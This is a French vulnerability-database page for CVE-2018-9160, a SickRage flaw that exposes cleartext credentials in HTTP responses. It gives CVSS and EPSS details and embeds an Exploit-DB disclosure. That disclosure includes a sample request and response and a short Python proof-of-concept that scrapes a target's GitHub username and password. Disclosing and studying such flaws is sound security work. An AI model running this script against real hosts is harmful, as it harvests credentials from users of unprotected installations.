CVE-2018-9160 : Détail

CVE-2018-9160

9.8
/
Critique
A04-Insecure Design
71.93%V4
Network
2018-03-31
19h00 +00:00
2018-04-28
07h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

SickRage before v2018.03.09-1 includes cleartext credentials in HTTP responses.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-522 Insufficiently Protected Credentials
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 44545

Date de publication : 2018-04-25 22h00 +00:00
Auteur : Sven Fassbender
EDB Vérifié : No

# Exploit Title: SickRage < v2018.03.09 - Clear-Text Credentials HTTP Response # Date: 2018-04-01 # Exploit Author: Sven Fassbender # Vendor Homepage: https://sickrage.github.io # Software Link: https://github.com/SickRage/SickRage # Version: < v2018.03.09-1 # CVE : CVE-2018-9160 # Category: webapps #1. Background information "SickRage is an automatic Video Library Manager for TV Shows. It watches for new episodes of your favourite shows, and when they are posted it does its magic: automatic torrent/nzb searching, downloading, and processing at the qualities you want." --extract from https://sickrage.github.io #2. Vulnerability description SickRage returns clear-text credentials for e.g. GitHub, AniDB, Kodi, Plex etc. in HTTP responses. Prerequisite is that the user did not set a username and password for their SickRage installation. (not enforced, default) HTTP request: GET /config/general/ HTTP/1.1 Host: 192.168.1.13:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.1.13:8081/config/backuprestore/ DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 HTTP response: HTTP/1.1 200 OK Content-Length: 113397 Vary: Accept-Encoding Server: TornadoServer/4.5.1 Etag: "e5c29fe99abcd01731bec1afec0e618195f1ae37" Date: Fri, 02 Mar 2018 10:47:51 GMT Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html lang="nl_NL"> <head> [...] <input type="text" name="git_username" id="git_username" value="email@example.com" class="form-control input-sm input300" autocapitalize="off" autocomplete="no" /> [...] <input type="password" name="git_password" id="git_password" value="supersecretpassword" class="form-control input-sm input300" autocomplete="no" autocapitalize="off" /> [...] </div> </body> </html> #3. Proof of Concept #!/usr/bin/env python import urllib3 import sys import requests from BeautifulSoup import BeautifulSoup urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) init(autoreset=True) if __name__ == '__main__': if len(sys.argv) != 3: print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]" else: host = sys.argv[1] print "https://www.shodan.io/host/{0}".format(host) port = sys.argv[2] print "*** Get GitHub User credentials from SickRage ***" url = "http://{0}:{1}/config/general".format(host, port) response = requests.get(url, timeout=5) parsed_html = BeautifulSoup(response.text) try: git_username = parsed_html.body.find('input', {'id': 'git_username'}).get("value") git_password = parsed_html.body.find('input', {'id': 'git_password'}).get("value") if str(git_password) != "None" and str(git_password) != "None": if len(git_password) >= 1 and len(git_username) >= 1: print str(git_username) print str(git_password) except AttributeError: pass #4. Timeline [2018-03-07] Vulnerability discovered [2018-03-08] Vendor contacted [2018-03-08] Vendor replied [2018-03-09] Vulnerability fixed. (https://github.com/SickRage/SickRage/compare/v2018.02.26-2...v2018.03.09-1) #5. Recommendation Update the SickRage installation on v2018.03.09-1 or later. Protect the access to the web application with proper user credentials.

Products Mentioned

Configuraton 0

Sickrage>>Sickrage >> Version To (including) 9.2.101

Références

https://www.exploit-db.com/exploits/44545/
Tags : exploit, x_refsource_EXPLOIT-DB
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.